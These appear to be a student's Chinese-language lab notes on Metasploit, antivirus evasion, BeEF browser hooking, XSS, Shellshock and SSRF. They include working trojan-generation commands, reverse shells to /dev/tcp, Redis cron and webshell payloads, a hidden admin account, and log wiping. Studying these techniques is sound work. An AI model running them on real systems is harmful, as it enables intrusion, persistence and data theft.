0%

安全牛第三章-安全测试实践

  • Metasploit Framework 渗透框架详细介绍

    Ruby 语言编写,模块化构造,易于开发使用

    • 术语介绍

      • exploit

        渗透测试攻击:包括缓冲区溢出,Web 应用程序漏洞攻击,系统配置错误

      • payload

        攻击载荷:利用漏洞进行攻击的代码

        windows/shell/bind_tcp 是一个著名的 payload ,可以将 shell 控制会话绑定到指定的 TCP 端口上

        win7/10 使用了数据执行保护等,使缓冲区空间减小,防止注入

        metasploit 给我们提供了传输器与传输体,传输器用于首先传入极短的 payload ,用于后续下载更多传输提中 payload ,可以绕过防御机制

      • shellcode

        指令,渗透中作为攻击载荷运行的指令,常常用汇编编写。

        meterpreter Shell

      • Module 模块

        • Payload module 渗透攻击模块

          auxiliary module 辅助模块 AUX ,做目标信息收集,端口扫描,网络服务查找,验证信息服务暴力破解,模糊测试,ARP 欺骗

        • NOP module 空指令模块

          提供对 target 的程序运行不会造成实质影响的空操作或无关操作指令,比如 0x90

          构造缓冲区溢出时,执行 shellcode 前需要增加一段空指令区,如此触发渗透攻击后跳转到执行 shellcode 时有一段较大的空区域,避免内存地址随机化导致 shellcode 执行失败

          所以执行 shellcode 前先执行空指令,可以增加攻击成功率

        • Encoding module 编码器模块

          避免失效字符或坏字符的存在影响 payload 在缓冲区的执行

          比如 0x00 会被解析成字符串结尾,从而导致攻击载荷执行失败

          以及对 payload 做免杀,通过不同形式编码以及不同的编码器进行,使 payload 变得杂乱,但系统仍可识别而 WAF 不可识别

          而编码后 payload 体积会明显增大,

        • POST module 后渗透攻击模块

          通过 meterpreter 或传统 shell 加载到目标平台上运行

          • 敏感信息收集

            常见的有用户密码(明文传输存储,存放在内存中),或者用户键盘记录,本地会话管理

          • meterpreter 最著名且强大的模块

            作为植入到目标系统上的攻击载荷,可以提供基本控制会话,集成了大量的后渗透攻击功能,如抓取用户哈希,提权等功能

        • listener 监听器

          用于等待被攻击的系统来连接

        • Libraries 基础库文件

          源代码根目录下,包括:Rex , framework-core , framework-base

          如果不开发自己的模块的话,不需要了解这个太多

        • 插件

          集成现有的安全工具,如 Nessus , OpenVAS

        • 接口

          • msf console 控制台终端
          • msf cli 命令行
          • msf gui 图形化界面
          • msf api 远程调用接口
  • MSF 渗透攻击技术和 Meterpreter 高级技术实践

    • MSF 控制台命令

      • show exploits

        展示所有的漏洞,感觉并没有什么用处

      • search

        搜索对应漏洞,支持按照名称,类型,时间,等级等

      • use

        使用漏洞

        • back 退出漏洞使用

      • show options

        选取对应漏洞后使用,列出需要填写的参数

        • set/unset

          用该命令来设置参数

      • info

      • setg/unsetg

        设置全局参数

        • save

          改变全局变量后保存配置

    • meterpreter 常用命令

      • background

        将会话隐藏到后台,继续使用 MSF

      • sessions

        查看已有的会话

        sessions -i [num] ,返回原有会话

      • shell

        直接获取系统控制台 shell

      • irb

        开启 ruby 终端,仅当被控端有 ruby

      • upload/download

        upload [file name] [path] / download [源文件路径] [下载到的路径]

      • edit

        edit [file path\name]

        注意要双写 \ 以转义

      • search

        -d 搜索路径 , -f 搜索名称

      • portfwd

        进行端口转发,可以将目标端口映射到外网主机端口,以此能从外网访问

        portfwd add -l [msf的端口] -r [msf ip] -p [被控主机将被转发端口]

      • ps

        查看目标主机进程信息

      • migrate

        迁移会话,比如使用 IE 浏览器漏洞的时候,如果对方关闭 IE ,会话将会终止,但如果将其会话迁移到后台程序中则可以保持会话,此种迁移不留下痕迹且不会中断 TCP 会话

        set autorunscript migrate -f 连接成功后自动迁移进程

      • screenshot 截屏

      • kill 杀死进程
      • sysinfo
      • shutdown
      • webcam_xx

        访问目标网络摄像头

      • haashdump

        得到登陆用户加密的 hash

      • smbpass

        hash 值无法被破解时,直接传递该 hash 值到其他需要验证的地方

      • clearev

        清除日志

      • timestomp

        修改文件最后的修改时间,使文件看起来没有被修改过

        这个命令仅支持 windows

        timestomp [filename] -a '[time]'

    • 这里笔者自行复现一下 ms17-010 永恒之蓝漏洞

      扫出来有漏洞,开始用 payload 注入,use 0 进入攻击接口

      配置 rhosts , port , payload 类型

      run 开始注入,出现 meterpreter > 代表已成功连接

      做一下功能演示:

      • screenshot

      • 密码破解

        1
        2
        load kiwi
        creds_all

        加载 kiwi 插件,并查看密码

        理论上这里会直接出现明文密码,但我即使是 system 权限且是 $64$ 位还是显示不出来,qwq

      • shell

        使用被控主机控制台

        对于出现乱码的情况,用 chrp 65001 将编码转成 UTF-8

        为了更深一步操作,如果想登录主机可以利用远程端口登录,但之前我们需要利用 Guest 账号(因为 Guest 账号是系统自带的来宾账号,如果使用别的账号登录的话,容易引起怀疑)

        1
        2
        3
        net user Guest /active:yes
        net localgroup administrators Guest /add
        net user Guest 123

        激活并转成管理员权限并修改密码

        1
        2
        net user Guest /active:no
        net localgroup administrators Guest /del

        为了远程登录,需要开放 3389 端口

        1
        REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

        0 改为 1 即可关闭该端口

        1
        REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 11111111 /f

        可以用 rdesktop 远程连接

        guest 账户登录即可

        登录后记得关闭端口,删除用户,再用 clearev 删除记录,效果如下

        最上面两条是我之后操作的,删除后应该只有最下面一条

      • 乐,下一节课就是利用永恒之蓝,不提前看标题是这样的

  • MSF 免杀实践

    • metasploit 木马分类

      • staged

        stager 由引导代码 loaderpayload 组成, 客户端接受 stager 后在内存中分配地址将 payload 暂存,再通过 loader 加载内存中的 payload 。这种内存中注入 PE 文件的方式称为反射型 DLL 注入

      • stageless

        将完整的 payload 编译在木马中,相比较来, staged 的体积庞大不灵活,且更容易被杀

    • 免杀方式

      修改特征码,修改程序入口点,花指令,加壳

    • msfencoder

      payload 文件进行重新排列编码,改变可执行文件中代码形状,避免被杀软认出;程序功能不受影响,程序运行后将原始程序解码到内存执行

    • msfvenom 查看编码器

      msfvenom -l encoders 查看多平台可用的编码方式

      MSF 使用多重编码来改善 shellcode 免杀能力

    • 木马生成,捆绑与免杀

      • 找到合适的 payloads

        msfvenom --list payloads | awk '/[keyword]/'

      • 生成

        1
        msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai --platform=x86 lhost=[ip] lport=[port] -x [target_exe] -i [encode_times] -f exe -o [generate_path]
        • -p 指定 payloads
        • -e 选择编码器
        • --platform 选择平台: x86|x64|x86_64
        • -s 生成的 payload 最大长度
        • -b 避免使用字符,如 \0f , \x00 字符串遇到会截断
        • lhost , lport 本地监听回连地址和端口
        • -x 把木马捆绑到指定的可执行程序上
        • -i 编码次数,理论上多次编码有助于免杀
        • -k 保留模板文件正常行为,并将注入的 payload 作为单独线程运行,不影响原程序

      • 等待回连

        1
        2
        3
        4
        5
        use exploit/multi/handler
        set payloads xxx
        set lhost [host]
        set lport [port]
        exploit //开始监听
      • shellcode 免杀

        • 手动编译 meterpreter ,对 shellcode 编码,一般能绕过静态查杀

          可以看这篇文章

        • meterpreter 直接加载进内存并由编码,一般可以绕过动态查杀

        • cpp 加载 shellcode

          msfvenom -f c 生成 c 格式

          1
          2
          3
          4
          5
          6
          7
          8
          9
          10
          11
          12
          #pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"") //运行时不显示窗口

          #pragma comment(linker, "/section:.data,RWE")//对于内存的保护属性 可读可写可执行

          unsigned char buf[] = //从Bin文件复制过来的ShellCode

          void main() {
          __asm {
          lea eax,buf
          call eax
          }
          }

          编译生成的 exe 可以大概能过静态查杀

        • 进程防丢失

          在生成 shellcode 时使用如下参数 PrependMigrate=true PrependMigrateProc=svchost.exe 可以将 payload 注入至 svchost.exe 进程中,以防原文件关闭后进程终止导致连接丢失

        • 加密 shellcode 传输的数据流

          避免 shellcode 回连成功,与 msf 交互时被查杀

          • metasploit 设置

            1
            2
            3
            4
            set EnableStageEncoding true
            set stageencoder x86/fnstenv_mov
            set stageencodingfallback false
            save
          • payload 加密

            1
            windows/meterpreter/reverse_https
            1
            windows/meterpreter/reverse_tcp_rc4 PC4PASSWORD=[password]

            rc4 加密,生成时指定加密密钥,在监听端设置相同密钥躲避查杀

        • 加壳

          加密压缩可执行文件,体积减小,使用不同加密算法。

          但壳也有特征码,会被杀软报毒

          1
          upx -5 [name].exe
      • 对抗沙盒免杀

        调用系统的 sleep 来实现 AV 检测文件超时,从而放弃对文件检测

        一般不好绕过

      • meterpreter 常驻免杀

        • persistencemetsvc ,但其特征已被广大杀软关注,一定会被查杀

        • 绕过杀软,添加自启动

          1
          2
          3
          exploit/windows/local/registry_persistence
          exploit/windows/local/vss_persistence
          exploit/windows/local/s4u_persistence

          shellcode 添加到注册表,并通过 powershell 加载该 shellcode 以运行 msf

          加载的 payloadmsf 指定,每次不同,如果不监视注册表,不限制 powershell 几乎不会被杀

        • 利用 powershell

          -f psh-reflection -o [filename].ps1

          通过自编写脚本加载 powershell ,eg

          1
          Add-Persistence -FilePath .\[filename].ps1 -ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $UserOptions -Verbose
  • MSF 客户端渗透测试实战

    • 简介

      通过构造畸形数据发送给目标,使用含有漏洞缺陷的客户端应用程序处理数据后发生程序内部处理错误,执行了嵌在数据中的恶意代码

      一般来说需要提前对目标进行调查,以诱导目标打开对应文件

    • Windows 安全防护机制

      • DEP 数据执行保护

        CPU 中设置 NX 内存页保护

      • ASLR 地址空间布局随机化

        堆地址随机化,栈基址随机化,进程线程内存块随机化

      • 攻击

        堆喷射,ROP

    • 基于浏览器的渗透测试

      • 原理:堆喷射

        通过组合 大量空指令+ shellcode ,构造出一个注入代码段。向系统申请大量内存并反复用注入代码段来填充,最终导致 shellcode 执行

        系统对堆的管理存在分块机制,因此我们分块填充申请的空间,每个空间填满空指令并在最后填入 shellcode ,堆大致如下

        1
        2
        3
        4
        5
        6
        7
        8
        9
        Heap
        ±-------------+
        | slide code |
        | shellcode |
        ±-------------+
        | slide code |
        | shellcode |
        ±-------------+

        用空指令填充而不是全部使用 shellcode 的原因是要确保 shellcode 从第一条语句开始执行,若命中任意空指令,其都将顺延至执行 shellcode

        可能覆盖到的地址有 0x0A0A0A0A(160M)0x0C0C0C0C(192M)0x0D0D0D0D(208M) 等。

        堆喷射的成功前提是:当调用填充的过程中恰好覆盖的一个虚函数指针时,先取得栈中的对象指针,通过对象指针取得虚表指针,然后在虚表内适当偏移处取得函数指针执行

        也就是说,当使用 0c0c0c0c 作为空指令填充时,地址 0x0c0c0c0c 处也应为空指令 0c0c0c0c ,由此能恰好执行空指令直到执行到 shellcode

    • msf 练习

      1
      2
      3
      4
      5
      6
      search browser_autopwn
      use 1
      set lhost [主机ip]
      set srvhost [主机ip]
      set uripath auto
      run

      IE 打开还要加到信任列表里,结果是这样的

    • 利用网站 iframe 进行大规模客户端渗透

      在网页中嵌入如下代码

      1
      2
      <iframe src="[msf生成的网址及端口]" width=0 height=0 style="hiden" ...>
      </iframe>
    • 复现 ms10-002 极光

      没什么好说的,msf 设置完直接用旧版本 IE 访问就行

    • 配合 ettercapdns 劫持来攻击主机

      • dns 劫持部分

        ettercap 目录下更改 ettercap.dns

        在最后增加伪造的 dns ,让所有网页都被欺骗到本机

        ettercap -G 启动图形化界面

        用这个扫一下,网关 .1 添加到 target1 ,把靶机 .129 添加到 target2 ,因为要截获靶机发给网关的通信

        设置 ARP-poisoning

        确保 sniffing 在进行中

        然后到 plugins-manage plugins-dns_spoof 双击启动

        这里有一点要注意的,就是靶机的默认网关可能是 .2 ,这个可以通过扫描结果看出来

      • msf 启动欺骗网站

        然后启动 msf

        1
        2
        3
        4
        5
        use auxiliary/server/browser_autopwn2
        set LHOST 192.168.19.128
        set SRVPORT 80
        set URIPATH /
        exploit

        这里我采用的是直接将靶机的 dns 劫持到 msf 的攻击链接上,也可以通过 apache2 劫持到自定义界面,再在自定义界面中嵌入攻击链接的方式注入。理论来说后者更不容易引人怀疑,但笔者在复现时没有成功

        随后介绍了一些针对不同软件客户端的漏洞,都是简单的用msf脚本即可,不多赘述

  • msf 内网渗透实践

    • 准备

      准备三台虚拟机,其中 metasploitable2 充当网关的角色,sudo 下更改 etc/network/interfaces

      此时 kali 不能 ping 通内网靶机,只能连接网关

    • 初始探查

      nmap43 网段,分析得到第一个靶机的地址,也就是“网关”的 IP

      建议存下来便于以后利用,当然也可以使用 msf 中自带的数据库来存储信息

      对于扫出来的端口,一个个分析对应的版本,查看是否有漏洞

      • 21 笑脸漏洞

        该版本存在一个后门漏洞,从 exploit-db 搜索得到相应信息

        当输入 :) 时,6200 端口会被打开,从而用 nc 可以连接

      • 80

        可以发现打开了 80 端口,访问网站查看一下

        更改 index. 的后缀,发现其使用 php

        php 存在一个参数化的漏洞,当提交参数 -s 时 ,如下图,它可以导致网站直接以源代码形式显示

      • 139/445

        samba smbd 存在远程命令注入漏洞,可以轻易用 msf 搜索出来

        随便挑一个拿个 shell

    • 靶机 $1$ 为跳板攻击目标靶机 $2$

      现在给靶机 1 上马以获得一个 msf 的命令行便于更好攻击

      1
      msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.43.154 LPORT=4444 -f elf > backdoor.elf

      将后门文件放到 var/www/html 中,开启 apache2 , 让靶机 $1$ 从主机服务器上自行下载,并 chmod 给一个可执行权限

      msfexploit/multi/handler 连接木马,连接的窗口中./backdoor.elf 执行

      使用 run get_local_subnets 看到发现内网

      autoroute 添加一条基于 sessions 的路由,-s [靶机2的IP段]

      arp 发现另一台内网中的存活主机,但只在该主机与网关通信

      然后用 auxiliary/scanner/portscan/tcp 扫一下该主机的开放端口

      80 端开放,用 auxiliary/scanner/http/http_version 检查一下其服务

      但这里出现了奇怪的问题,设置跳板后无法 ping 到靶机 $2$ ,但可以用模块进行端口扫描

      视频中也出现了相同的问题,并没有给出解决方案,笔者找不到解决方法,暂且搁置

  • Armitage 渗透测试实践

    • 介绍

      实现对 metasploit 图形化的操作,并可以给出提示,跨平台使用

      其启动需要 postgresql , metasploit 的开启

      • postgresql 配置

        sudo -u postgres psql 先登录数据库,alter user postgres with password 'admin'; 更改密码,然后 \q 退出

        现在可以用新密码登录了 psql -U postgres -d postgres -h 127.0.0.1 -p 5432

        然后设置允许远程访问

        gedit /etc/postgresql/16/main/postgresql.conf

        把这一行的注释删去,localhost 改为 *

        然后更改同目录下的 hba_conf ,注释全部内容并在最下方添加如图,表示允许任意地址通过密码进行远程访问

        然后建立一个数据库

        1
        2
        create user msf with password 'admin' createdb;
        create database msf with owner=msf;

        此时 msf 中可以手动连接 db_connect msf:admin@127.0.0.1/msf

        可以去目录 usr/share/metasploit-framework/config 下新建配置文件 database.yml 以达到自动连接,具体格式可以从 database.yml.example 中复制得到

        至此,提前准备工作完成

        armitage 启动,在 msf 中运行 load msgrpc ,会加载出新的密码

    • 使用

      笔者感觉图形化界面没什么好说的,比普通的界面看起来直观,但操作不是很方便,可以辅助使用

  • BeEF 框架

    • 介绍

      Ruby 中内置的框架,用于评估浏览器的安全性

      创造一个链接来连接浏览器,链接通常是 JS 编写的 hook ,在浏览器与服务器之间建立一个检测信号,可以允许攻击者向目标浏览器发送 JS 命令,浏览器再将回应返给攻击者

      其发送的是 web 请求,发生在浏览器所配置的代理之上,能穿过防火墙。所以目标浏览器一旦运行了 JS 挂钩,那么攻击者对浏览器活动就有很高的权限

      这个 kali 里面也是有内置的,但笔者建议把内置的删掉再安装最新的

      1
      2
      3
      4
      apt-get purge --auto-remove beef
      apt-get purge --auto-remove beef-xss
      git clone https://github.com/beefproject/beef
      ./install

      然后去 config.yaml 中更改默认密码

    • 使用

      ./beef 启动

      ./beef -x 清理数据库

      • beef 控制台使用

        http://127.0.0.1:3000/ui/panel 中访问图形化界面

        点击箭头处链接浏览器就会上线,可以在左边栏看到

        对于 Command 模块,绿色代表可以在当前浏览器上执行,且当前使用用户不会察觉;下方的橙色代表可执行,但用户可能发觉;灰色代表无法确定该命令能否执行;红色可以执行,但结果未知,即无法生效

      • 挂钩浏览器

        无论是反射型 xss 或者 arp 欺骗,最终目的都是让目标浏览器访问/加载 beefhook 页面 http://127.0.0.1:3000/demos/basic.html

        • 以基本的反射型 xss 为例

          首先需要一个易受 xss 攻击的网站,新建一个 php 页面,代码如下

          1
          2
          3
          <HTML> <BODY> <FORM>
          <INPUT TYPE=TEXT NAME=echo VALUE="<?php print $_REQUEST['echo']?>">
          <INPUT TYPE=SUBMIT> </BODY></HTML>

          那么靶机访问 http://192.168.19.128/echo.php?echo=%22%3E%3Cscript%20src=%22http://192.168.19.128:3000/hook.js%22%3E%3C%2Fscript%3E%22 则会成功链接

        • ettercap DNS 欺骗

          欺骗到 beef 生成的钩子地址上即可

        • 自动注入挂钩

          借助 beef injection framework 自动重写 web 流量使其包含挂钩

          1
          git clone https://github.com/SpiderLabs/beef_injection_framework
      • 获取指纹实践

        • 浏览器指纹

          command-browser-fingerprint

        • 用户指纹

          包括浏览器存储的 cookie ,用户会话历史,综合以上信息可知到用户常访问的网站类型

          beef 高级演示页面来演示

          即靶机访问 [IP]:3000/demos/butcher/index.html

          在下方填入的信息即便不提交,也可以在 beef 中使用 command-browser-get form value 查看到

    • 接下来笔者跟着这位来复现一遍操作

    • 初始化控制

      • XSS

        在真实环境中,对于 beef 这种需要加载远程 jsXSS 攻击,存在一种更优的防御方法,即 CSP ,内容安全策略。其同于检测并削弱某些特定类型攻击。

        CSP 规定页面从哪里加载脚本,以及对脚本做出限制,如限制执行 jseval() 函数,如

        1
        <meta http-equiv="Content-Security-Policy" content="default-src 'self' ">

        该段指令让浏览器仅加载同源资源,以防止异源的 beef 攻击

      • 有安全漏洞的 Web 应用

      • 广告网路
      • 社工

        • 网站搭建

          使用 beef 自带的 Web 克隆功能,其默认在被克隆的网站内容中注入钩子,注意此克隆在 beef 被关闭后被销毁

          1
          2
          3
          curl -H "Content-Type: application/json; charset=UTF-8" -d '{"url":"[目标网站网址]","mount":"[放在本地的位置]"}' -X POST http://127.0.0.1:3000/api/seng/clone_page?token=[上面的token]

          curl -H "Content-Type: application/json; charset=UTF-8" -d '{"url":"https://www.baidu.com","mount":"/testclone"}' -X POST http://127.0.0.1:3000/api/seng/clone_page?token=b75029028687f8dbdebdfb842d868ca516914e86

          搭建成功后发现僵尸不上线,查看网站源码,发现是 js 地址错误

          到配置文件 config.yaml

          改成本机的 IP 即可,随后重启服务

        • 诱饵

          • 钓鱼邮件

            需要模糊,缩短 url,并设计自己的邮件系统

          • 物理诱惑

            html 文件的u盘

          • QR code

            感觉是最为保险的手段

      • 中间人攻击

        此类攻击仅当和受害者在同一网络下才可进行,考虑用 aircrack-ng 破解 wifi 密码

        这里使用 mitmproxy ,顺便记录一下使用时的问题

        • 安装

          • 报错 1

            1
            2
            raise ValueError(f'mutable default {type(f.default)} for field '
            ValueError: mutable default <class 'mitmproxy.contentviews.grpc.ProtoParser.ParserOptions'> for field parser_options is not allowed: use default_factory

            解决方案是更新 apt 源并更新 mitmproxy ,大概原因是 kali 内置的版本过老,不支持本机的 python3.11

            1
            2
            apt update
            apt-get install mitmproxy
          • 报错 2

            1
            AttributeError: module 'OpenSSL.SSL' has no attribute 'DTLS_SERVER_METHOD'. Did you mean: 'TLS_SERVER_METHOD'?

            应该是 pyOpenSSL 的问题,更新一下

            1
            pip3 install mitmproxy

            但又遇到了 pip3 报错

            1
            error: externally-managed-environment

            我搜到的解决方案是使用

            1
            pip3 install mitmproxy --break-system-packages
        • 使用

          在新版的 mitmproxy-R 参数已经失效,笔者目前并没有找到正确的脚本来进行钩子的插入

          (哭哭

    • 持续控制

      初始的控制仅发生在用户点击的页面内,一旦用户关闭该页面或浏览器就会失去控制,所以要尽可能维持控制以给后续的攻击争取时间

      持续控制分为两种:持久通信,beef 服务器与僵尸之间通信技术的选择;持久存续,让用户尽可能停留在钩子页面

      • 持久通信

        • CORS 跨域资源共享

          其扩展了同源策略的限制,允许页面读取来自其他来源的 http 响应,即 beef 发送的命令对于浏览器一定是异源的,故其发送的每个 http 头部都包含:

          1
          2
          Access-Control-Allow-Origin: *
          Access-Control-Allow-Methods: POST, GET

          以允许来自任意地方的 post/get 请求

        • 开启 Websocket 通信

          其速度快于 beef 默认使用的 XMLHTTPRequest ,但其不适用于低版本的浏览器: IE>=10 , Firefox>=16.0 , chrome>=23.0

          在默认下,kali 中其配置文件位于 /usr/share/beef-xss/config.yaml

          做出如下修改

          1
          2
          3
          # Prefer WebSockets over XHR-polling when possible.
          websocket:
          enable: true

          beef 会根据浏览器版本自动选择是否使用 websocket

      • 持久存续

        • 内嵌 iframe 框架

          persistence-Create foreground iFrame 模块,不需任何参数即可执行,在僵尸浏览器上创造一个 100%iframe

          在用户点击一个新界面时代码生效

          其弊端是顶部的 url 栏不会改变,如图

          而对于使用 js 渲染的页面则会出现页面混乱,点击无效等情况

        • MitB 浏览器中间人

          与中间人攻击不同,不需要处在同一网络下。Persistence-Man In The Browser 模块在僵尸浏览器中用 js 自动截获/发送 http 的内容,并异步展现给用户

          在用户正常访问的同时能保持钩子

          其弊端也很明显,即不能打开图片

          以及对于 js 制作的跨域链接,由于 MitB 实现原理缺陷导致其无法控制新页面

          注意 MitBiframe 只能使用一种

        • 窗口事件处理

          Persistence-Confirm Close Window 不断弹出如下窗口

          但如今的浏览器早已不再允许反复弹出,对于不同浏览器该模块有着不同表现

          firefoxchrome 只有在关闭浏览器时才会有弹窗; 360 在关闭当前页面或关闭浏览器时都会有弹窗; QQ 点击关闭当前页面之后,它会打开一个新标签页去加载BeEF 服务器的 demo 页面;搜狗全部都没有弹窗。

          如此仅能使用户多停留几秒,但这几秒也是值得争取的,所以可以与上两种的一种结合使用

        • 动态底层弹出窗口

          Persistence-Create Pop Under 可以在用户点击链接时弹出一个指向 beef 初始化页面的窗口。浏览器常常会阻止网站弹出,而由用户点击的操作则不影响

          弊端是如此只能弹出 beef 窗口,会导致用户察觉,而且笔者这里用 chrome 复现失败

    • 绕过同源策略与浏览器代理

      • SOPDOM 文档对象模型

        浏览器同源策略,限制不同源的交互,致使 beef 仅能对被钩子钩住的页面所在域进行操作,绕过同源策略可以考虑旧版浏览器及其插件漏洞,或者利用 Web 的特性,这里介绍后者

        当子域之间需要相互访问时,如 login.site.com 需要访问 admin.site.com 的表单,开发者会在 admin.site.com 所在页面加入如下 js

        1
        document.domain="site.com"

        那么 site.com 下所有子域都可以访问 admin.site.comDOM

        那么当 beef 钩住 test.site.com ,可以查找具有此类的页面,从而小范围绕过 SOP 的限制

      • SOPCORS

        与上文类似的,由于 Web 开发者错误的设置导致可以进行跨域资源共享,在子站 test.site.com 加入以下代码

        1
        2
        Access-Control-Allow-Origin: *.site.com
        Access-Control-Allow-Methods: OPTIONS, GET, POST

        会导致 site.com 的所有子站都可以访问 test.site.com 的资源

      • Tunneling Proxy 浏览器代理

        beef 中极为强大的一个功能

        对于被钩住的僵尸浏览器 A 以及被钩住的域 hook-domain.com ,攻击浏览器 B :

        B 通过 beef 发送 http 请求,转为 AJAX 请求插入僵尸浏览器 B 随后要执行的 js 脚本中,浏览器 B 向域 hook-domain.com 发送一个 AJAX 请求,且请求带上了该网站的 cookie ,域返回的请求则会被钩子截取并返回给攻击浏览器 A ,而不会显示在浏览器 B

        完成这个实验需要三个不同的浏览器,僵尸浏览器 A ,攻击者浏览器 B 用于登录 beef 服务器,攻击者浏览器 C 用于使用代理,三者不共享数据

        先去 extensions/proxy/config.yaml 确保 enabletrue

        对于被钩住的浏览器 B 选择 Use as proxy

        如此, beef 所在主机的 6789 端口就是一个代理

        使用 firefox -P 打开另一个不共享数据的浏览器

        将其代理设为 127.0.0.1 port:6789 与配置文件保持统一

        理论上此时浏览器 C 可以登录浏览器 B 正在访问的网站且不需输入密码

        笔者坐牢两天后放弃了,有复现成功的教教笔者orz

  • XSS 漏洞安全实践

    XSS 代码提交给网站 — XSS 代码 Setcookie 到浏览器 — Browser 请求网站提交包含 XSSCookie — 网站取变量返回给客户端 — 客户端运行 XSS JS

    • DOM 基于文档对象模型

      与平台或语言无关的接口,允许程序或脚本动态访问更新文档内容,结构样式

      原因是 DOM 数据没有经过过滤和确认

    • 看一个简单的 xss

      1
      2
      3
      4
      5
      6
      <html><body>
      <script>
      var a='<?php echo $_GET['data'] ?>';
      document.write('<textarea>' + a + '</textarea>');
      </script>
      </body></html>

      payload 可以是 qwq';alert();var b='

      出现此类漏洞的原因是网页对于输入没有进行过滤,且输出使用了危险的指令

      这部分都很基础,略


  • XSSERXSS 漏洞深入研究和实践

    讨论的并不是很深入,XSS 平台在社区能拿到源码,笔者建议直接用老大的平台就行

  • XSS / CSRF

    全部是基于 DVWA 的,老大课的第二阶段讲得更好,且均是基础,在此略过

  • Bash-shellshock

    主要是在安装基于 dockervulhub 靶场,命令如下,以下命令基于 Ubuntu 环境

    1
    2
    3
    4
    apt-get install -y apt-transport-https ca-certificates
    apt install docker.io
    pip3 install docker-compose
    git clone https://github.com/vulhub/vulhub.git

    对于启动哪个可以在官网关键词搜索到

    以这节课的 bash-shellshock 破壳漏洞为例

    1
    2
    docker-compose -d #启动
    docker-compose ps -a #看一下信息

    如果访问 http://ip:port 出现 debian 则说明成功

    根据官网描述

    可访问界面为 safe.cgivictim.cgi

    官网文档有基本的 payload

    用完后用这个关掉

    1
    docker-compose down
    • 原理

      bash 所用的环境变量通过函数名称调用,而以 (){ 开头所定义的环境变量被 env 解析为函数后,并未退出 bash 的执行,而是往后将后续字符串当作 shell 执行

      而执行 .cgi 时调用 bashreferer,host,UA,header 全部当作环境变量处理

    • payload

      () { : ;}; echo ; /bin/ls -alh

      查看 /bin/ls 目录下文件

      User-Agent: () { :;};echo ; /bin/bash -i >& /dev/tcp/ip/port 0>&1;

      生成反弹 shell

      连接成功,然后就可以想办法传大马提权了

  • SSRF 探索利用

    由攻击者构造请求,由服务端发起请求的安全漏洞。一般情况下,SSRF攻击的目标是外网无法访问的内网系统,而因为请求由服务端发起,所以能请求到与自身相连而与外网隔绝的内部系统

    其关键是 Web 应用程序与其他设施或外部服务的新人关系

    通过修改原始 URL127.0.0.1localhost ,使服务器能接受指向其自身的地址,从而令攻击者渗透进服务器文件系统

    • 服务器端请求伪造

      curl($_GET['url']) 来做演示,其功能如下

      1
      2
      curl -vvv 'dict://ip:port/info' 查看对方主机信息
      curl -vvv 'file:///etc/passwd' 读本地文件
    • bWAPP 中的 ssrf 模块做演示

      可以在老大发的第一个学习靶机中找到已经配置好的,但感觉并没有配置好,建议用 phpadmin 自己搭,用 docker 的话也出了些问题

      给了三个例子,以第一个为例

      • port scan

        点进去后发现服务器上存有以下用于端口扫描的 php 脚本

        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14
        15
        16
        17
        18
        19
        20
        21
        22
        23
        24
        25
        26
        27
        28
        29
        30
        31
        32
        33
        34
        <?php
        echo "<script>alert(\"U 4r3 0wn3d by MME!!!\");</script>";
        if(isset($_REQUEST["ip"]))
        {
        //list of port numbers to scan
        $ports = array(21, 22, 23, 25, 53, 80, 110, 1433, 3306);
        $results = array();
        foreach($ports as $port)
        {
        if($pf = @fsockopen($_REQUEST["ip"], $port, $err, $err_string, 1))
        {
        $results[$port] = true;
        fclose($pf);
        }
        else
        {
        $results[$port] = false;
        }
        }
        foreach($results as $port=>$val)
        {
        $prot = getservbyport($port,"tcp");
        echo "Port $port ($prot): ";
        if($val)
        {
        echo "<span style=\"color:green\">OK</span><br/>";
        }
        else
        {
        echo "<span style=\"color:red\">Inaccessible</span><br/>";
        }
        }
        }
        ?>

        然后到本地文件包含模块 Remote/Local inclusion

        可以看到这里请求了 lang_en.php 文件,那么用这个来包含刚刚的脚本

        随后就能用服务端的身份进行端口扫描

    • ssrf 常用协议

      • file 协议

        读取服务器本地文件,访问本地静态资源

        1
        2
        3
        file:///etc/passwd
        file:///var/www/html/index.php
        file:///usr/local/apache-tomcat/conf/server.xm
      • dict 协议

        常用于探测内网主机以及端口开放情况,以及端口服务的指纹信息,或者执行一些服务的命令,如 redis

        其格式为 dict://ip:port/command

        对于多行命令,dict只能一次执行一行,所以需多次执行

        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14
        15
        16
        17
        18
        19
        20
        21
        22
        23
        24
        25
        一、dict协议探测端口和服务指纹
        dict://ip:port
        dict://127.0.0.1:port/info

        二、dict协议攻击redis,写入定时任务,进行反弹shell
        redis默认端口为6379
        centos系统定时任务的路径为:/var/spool/cron
        debian系统定时任务的路径为:/var/spool/cron/crontabs

        dict://127.0.0.1:6379/config:set:dbfilename:root
        dict://127.0.0.1:6379/config:set:dir:/var/spool/cron
        dict://127.0.0.1:6379/set:test:"\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/ip/port 0>&1\n\n"
        dict://127.0.0.1:6379/save

        注意:若payload存在被转义或过滤的情况,可利用16进制写入内容
        dict://127.0.0.1:6379/set:test:"\n\n\x2a/1\x20\x2a\x20\x2a\x20\x2a\x20\x2a\x20/bin/bash\x20\x2di\x20\x3e\x26\x20/dev/tcp/10.10.10.10/1234\x200\x3e\x261\n\n"

        三、dict协议攻击redis,写入webshell
        dict://127.0.0.1:6379/config:set:dbfilename:test.php
        dict://127.0.0.1:6379/config:set:dir:/var/www/html
        dict://127.0.0.1:6379/set:test:"\n\n<?php @eval($_POST[x]);?>\n\n"
        dict://127.0.0.1:6379/save

        若存在过滤, 则利用16进制内容写入:
        dict://127.0.0.1:6379/set:test:"\n\n\x3c\x3f\x70\x68\x70\x20\x40\x65\x76\x61\x6c\x28\x24\x5f\x50\x4f\x53\x54\x5b\x78\x5d\x29\x3b\x3f\x3e\n\n"
    • gopher 协议

